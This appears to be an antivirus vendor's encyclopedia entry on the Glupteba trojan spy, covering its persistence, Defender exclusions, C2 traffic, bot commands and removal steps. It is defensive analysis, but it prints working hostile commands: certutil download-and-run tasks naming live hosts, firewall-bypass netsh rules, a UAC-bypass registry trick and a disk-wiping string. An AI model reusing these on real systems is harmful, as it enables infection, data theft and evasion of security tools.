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TrojanSpy.Win32.GLUPTEBA.A

September 03, 2019
 Modified by: Earle Maui Earnshaw
 ALIASES:

Trojan-Downloader.Win32.Bandit.gso (Kaspersky); Trojan:Win32/Skeeyah.A!MTB (Microsoft)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan Spy

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet, Dropped by other malware

This Trojan Spy arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It connects to a website to send and receive information.

  TECHNICAL DETAILS

File Size:

5,185,536 bytes

File Type:

EXE

Memory Resident:

Yes

Initial Samples Received Date:

01 Aug 2019

Payload:

Connects to URLs/IPs, Disables services, Hides files and processes

Arrival Details

This Trojan Spy arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan Spy drops the following component file(s):

  • %System%\drivers\Winmon.sys
  • %System%\drivers\WinmonFS.sys
  • %System%\drivers\winmonProcessMoitor.sys

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

It drops the following copies of itself into the affected system:

  • %Windows%\rss\csrss.exe

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

It creates the following folders:

  • %Windows%\rss
  • %User Temp%\csrss

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following mutexes to ensure that only one of its copies runs at any one time:

  • Global\h48yorbq6rm87zot
  • Global\y7ze3fznx1u0yc2z

Autostart Technique

This Trojan Spy adds the following registry entries to enable its automatic execution at every system startup:

HKEY_CURRENT_USERS\Software\Microsoft\
Windows\CurrentVersion\Run
{Random Name} = %Windows%\rss\csrss.exe

Other System Modifications

This Trojan Spy adds the following registry keys:

HKEY_CURRENT_USER\Software\Microsoft\
TestApp

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\WinmonFS\Instances

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\WinmonFS\Instances\
WinmonFS

It adds the following registry entries:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%Windows% = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%Windows%\rss = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%Application Data%\EpicNet = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%User Temp%\csrss = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%Application Data%\{Random String} = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%Windows%\windefender.exe = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%User Temp%\wup = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%System%\drivers = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Processes
csrss.exe = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Processes
cloudnet.exe = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Processes
windefender.exe = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Processes
{malware filename}.exe = 0

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
Name = {Random name}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
Firewall = {String}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
Defender = {String}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
Servers = https://{BLOCKED}ontrol.com, https://{BLOCKED}acon.com, https://{BLOCKED}mpirebuild.com

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
UUID = {value}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
Command = {value}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
FirstInstallDate = {value}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
ServiceVersion = {value}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
PGDSE = 0

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
SC = {value}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
VC = {value}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
PGDSE = {value}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
ServersVersion = {value}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
CDN = http://{BLOCKED}t.xyz

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
PP = {value}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
OSCaption = {Infected machine OS version}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
OSArchitecture = {32 or 64 bit}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
IsAdmin = {1 or 0, checks if file was run as admin}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
AV = {string}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
CPU = {CPU information}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
GPU = {GPU information}

Backdoor Routine

This Trojan Spy connects to the following websites to send and receive information:

  • https://{BLOCKED}ontrol.com/api/install-failure
  • https://{BLOCKED}ontrol.com/api/parent-processes
  • https://{BLOCKED}ontrol.com/api/log
  • https:/{BLOCKED}control.com/api/register
  • https:/{BLOCKED}control.com/api/log2
  • https://{BLOCKED}ontrol.com/api/poll
  • https://{BLOCKED}ontrol.com/bots/update-data
  • https://{BLOCKED}ontrol.com/bots/report-install

It posts the following information to its command and control (C&C) server:

  • MAC Address
  • Installed Version of the Malware
  • Malware Filename in the system
  • Installed OS
  • System Architecture
  • CPU information
  • GPU information
  • Installed AV products
  • If user is Admin
  • Used Exploit techniques in the system
  • Firewall information
  • Windows Defender information
  • Campaign ID
  • Distributer ID
  • Build Number
  • Motherboard Serial Number
  • Disk Drive Serial Number
  • Machine GUID
  • OS install Date
  • Generated Challenge Number
  • Default Browser
  • Running Applications

Download Routine

This Trojan Spy connects to the following URL(s) to download its component file(s):

  • http://{BLOCKED}t.xyz/app/deps.zip
  • http://{BLOCKED}t.xyz/app/watchdog.exe
  • http://{BLOCKED}t.xyz/app/app.exe
  • http://{BLOCKED}ta.xyz/cl.exe
  • http://{BLOCKED}ta.xyz/app/vc.exe

It saves the files it downloads using the following names:

  • %User Temp%\csrss\cloudnet.exe
  • %User temp%\csrss\vc.exe
  • %Windows%\windefender.exe

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

Other Details

This Trojan Spy does the following:

  • It terminates itself if it detects it is being run in a VMware or VirtualBox environment.
  • It executes the following commands to bypass Windows Firewall:
    • netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="%Windows%\rss\csrss.exe" enable=yes
    • netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="%Application Data%\EpicNet Inc\CloudNet\cloudnet.exe" enable=yes
  • This malware uses EternalBlue/DoublePulsar components to takes advantage of the following software vulnerabilities to distribute its coinminer component across networks:
    • Microsoft Windows SMB Server (MS17-010) Vulnerability
  • It connects to the following website to download a miner and its configuration file:
    • https://{BLOCKED}ontrol.com/bots/check?uuid={UUID}
    • https://{BLOCKED}ontrol.com/bots/checkv?uuid={UUID}
    The downloaded coinminer component is saved as:
    • %User temp%\wup\wup.exe
    • %User temp%\wup\wupv.exe
  • It disables Windows Update services by modifying the following registry entry:
    HKEY_LOCAL_MACHINE\CurrentControlSet\services\wuauserv
    value = Start
    data = 4
  • Checks for the following registries to elevate the privilege of the malware if not present will create the following entries:
    • Windows 10: HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command; Value:fodhelper
    • Else: HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command; Value: CompMgmtLauncher
  • Accepts the following commands for the dropped copy into the system:
    • -uninstall → uninstall the copy of the malware into the system and terminate if found running
    • -update → drops update copy of itself into the system
  • Hides the following processes:
    • WinMon
    • windefender.exe
    • cloudnet.exe
    • wup.exe
  • Stops the following Services:
    • PcaSvc
  • It executes the following commands:
    • update
    • get_app_name
    • is_admin
    • process_is_running
    • exec
    • download
    • run
    • run-v2
    • exit
    • update-data
    • update-cloudnet
    • update-cloudnet-file-url
    • stop-wup
    • stop-mrt
    • notify
    • notify-host
    • event-exist
    • mutex-exist
    • registry-get-startup
    • verify-signature
    • registry-get-startup-signatures
    • verify-processes-signatures
    • get-unverified-files
    • get-stats-wup
    • upload-file
    • update-service
    • get-logfile-proxy
    • install
    • get-logfile-i2pd
    • s
    • update-cdn
    • discover-electrum
    • discover-blockchain
  • It terminates itself if it detects that an AV product is running
  • Tries to delete the following:
    • %System%\bcdedit.exe

It adds the following scheduled tasks:

  • Task Name: csrss
    Schedule: At log on of any user
    Task to be run: %Windows%\rss\csrss.exe
  • Task Name: ScheduledUpdate
    Schedule: At log on of any user
    Task to be run: cmd.exe /C certutil.exe -rulcache -split -f http://{BLOCKED}t.xyz/app/app.exe %User Temp%\csrss\scheduled.exe && %User Temp%\csrss\scheduled.exe /31340

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

15.340.05

FIRST VSAPI PATTERN DATE:

02 Sep 2019

VSAPI OPR PATTERN File:

15.341.00

VSAPI OPR PATTERN Date:

03 Sep 2019

Step 1

Trend Micro products with the XGen technology detect this malware as

[ Learn More ]
Troj.Win32.TRX.XXPE50FFF031

Step 2

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Restart in Safe Mode

[ Learn More ]

Step 5

Deleting Scheduled Tasks

For Windows Vista, Windows 7, Windows Server 2008 (R2), Windows 8, Windows 8.1, Windows 10, and Windows Server 2012 (R2):

  1. Open the Windows Task Scheduler. To do this:
    • On Windows 7 and Windows Server 2008 (R2), click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, Windows 10 and Windows Server 2012 (R2), right-click on the lower-left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each task that has the value in the Triggers column:
    • Task Name: csrss<br/>Schedule: At log on of any user<br/>Task to be run: %Windows%\rss\csrss.exe
    • Task Name: ScheduledUpdate<br/>Schedule: At log on of any user<br/>Task to be run: cmd.exe /C certutil.exe -rulcache -split -f http://beguest.xyz/app/app.exe %User Temp%\csrss\scheduled.exe && %User Temp%\csrss\scheduled.exe
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the following string:
    Cmd /c /rd /s /q C:
  5. If the said string is found, delete the task..

Step 6

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • {Random Name} = %Windows%\rss\csrss.exe

Step 7

Delete this registry key

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • HKEY_CURRENT_USER\Software\Microsoft\TestApp
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinmonFS\Instances
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinmonFS\Instances\WinmonFS

Step 8

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
    • %Windows% = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
    • %Windows%\rss = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
    • %Application Data%\EpicNet = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
    • %User Temp%\csrss = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
    • %Application Data%\{Random String} = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
    • %Windows%\windefender.exe = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
    • %User Temp%\wup = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
    • %System%\drivers = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes
    • csrss.exe = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes
    • cloudnet.exe = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes
    • windefender.exe = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes
    • {malware filename}.exe = 0
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • Name = {Random name}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • Firewall = {String}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • Defender = {String}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • Servers = https://venoxcontrol.com, https://okonewacon.com, https://blackempirebuild.com
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • UUID = {value}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • Command = {value}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • FirstInstallDate = {value}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • ServiceVersion = {value}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • PGDSE = 0
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • SC = {value}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • VC = {value}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • PGDSE = {value}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • ServersVersion = {value}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • CDN = http://beguest.xyz
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • PP = {value}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • OSCaption = {Infected machine OS version}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • OSArchitecture = {32 or 64 bit}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • IsAdmin = {1 or 0, checks if file was run as admin}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • AV = {string}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • CPU = {CPU information}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • GPU = {GPU information}

Step 9

Restore this modified registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this only if you know how to or you can seek your system administrator’s help. You may also check out this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\CurrentControlSet\services\wuauserv
    • From: Start = 4
      To: Start = (usually 2)

Step 10

Search and delete these folders

[ Learn More ]
Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result.
  • %Windows%\rss
  • %User Temp%\csrss

Step 11

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %System%\drivers\Winmon.sys
  • %System%\drivers\WinmonFS.sys
  • %System%\drivers\winmonProcessMoitor.sys
  • %User Temp%\csrss\cloudnet.exe
  • %User temp%\csrss\vc.exe
  • %Windows%\windefender.exe

Step 12

Restart in normal mode and scan your computer with your Trend Micro product for files detected as TrojanSpy.Win32.GLUPTEBA.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.

Step 13

Scan your computer with your Trend Micro product to delete files detected as TrojanSpy.Win32.GLUPTEBA.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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